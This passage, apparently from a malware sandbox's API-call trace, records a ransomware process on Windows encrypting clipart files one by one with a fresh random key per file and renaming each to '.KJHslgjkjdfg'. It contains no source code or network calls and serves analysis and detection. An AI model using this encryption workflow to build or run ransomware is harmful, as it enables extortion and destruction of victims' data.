hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xba0, dwBufLen=0xba0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xba0) returned 1 [0187.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.753] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xba0, lpOverlapped=0x0) returned 1 [0187.753] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.753] SetEndOfFile (hFile=0x130) returned 1 [0187.755] GetProcessHeap () returned 0x990000 [0187.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0187.755] GetProcessHeap () returned 0x990000 [0187.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.kjhslgjkjdfg")) returned 1 [0187.756] CloseHandle (hObject=0x130) returned 1 [0187.756] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0187.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.757] GetProcessHeap () returned 0x990000 [0187.757] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.757] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.757] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.758] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.759] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.759] GetProcessHeap () returned 0x990000 [0187.759] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.759] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.759] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.759] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.759] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.759] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.759] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.759] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.759] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2856, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2856, lpOverlapped=0x0) returned 1 [0187.760] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2860, dwBufLen=0x2860 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2860) returned 1 [0187.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.760] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2860, lpOverlapped=0x0) returned 1 [0187.761] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.761] SetEndOfFile (hFile=0x130) returned 1 [0187.762] GetProcessHeap () returned 0x990000 [0187.762] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.762] GetProcessHeap () returned 0x990000 [0187.762] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.kjhslgjkjdfg")) returned 1 [0187.763] CloseHandle (hObject=0x130) returned 1 [0187.763] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0187.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.765] GetProcessHeap () returned 0x990000 [0187.765] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.765] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.765] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0187.781] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.781] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.781] GetProcessHeap () returned 0x990000 [0187.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.781] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.781] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.781] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.781] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.781] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.781] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.781] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.782] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.782] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.782] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7992, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7992, lpOverlapped=0x0) returned 1 [0187.783] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x79a0, dwBufLen=0x79a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x79a0) returned 1 [0187.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.783] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x79a0, lpOverlapped=0x0) returned 1 [0187.784] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.784] SetEndOfFile (hFile=0x130) returned 1 [0187.786] GetProcessHeap () returned 0x990000 [0187.787] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.787] GetProcessHeap () returned 0x990000 [0187.787] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.kjhslgjkjdfg")) returned 1 [0187.788] CloseHandle (hObject=0x130) returned 1 [0187.788] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0187.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.789] GetProcessHeap () returned 0x990000 [0187.789] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.789] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.790] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.790] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.790] GetProcessHeap () returned 0x990000 [0187.790] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.790] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.790] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.790] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.792] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.793] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.793] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.793] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.793] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.793] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.793] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2040, lpOverlapped=0x0) returned 1 [0187.794] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2040, dwBufLen=0x2040 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2040) returned 1 [0187.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.794] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2040, lpOverlapped=0x0) returned 1 [0187.795] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.795] SetEndOfFile (hFile=0x130) returned 1 [0187.798] GetProcessHeap () returned 0x990000 [0187.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.798] GetProcessHeap () returned 0x990000 [0187.798] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.kjhslgjkjdfg")) returned 1 [0187.799] CloseHandle (hObject=0x130) returned 1 [0187.799] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0187.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.800] GetProcessHeap () returned 0x990000 [0187.800] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.800] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.800] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.802] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.802] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.802] GetProcessHeap () returned 0x990000 [0187.802] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.802] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.802] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.802] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.802] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.802] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.803] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.803] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.803] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.803] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.803] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x73bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x73bc, lpOverlapped=0x0) returned 1 [0187.804] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x73c0, dwBufLen=0x73c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x73c0) returned 1 [0187.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.805] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x73c0, lpOverlapped=0x0) returned 1 [0187.805] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.805] SetEndOfFile (hFile=0x130) returned 1 [0187.808] GetProcessHeap () returned 0x990000 [0187.808] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.808] GetProcessHeap () returned 0x990000 [0187.808] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.kjhslgjkjdfg")) returned 1 [0187.809] CloseHandle (hObject=0x130) returned 1 [0187.809] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, 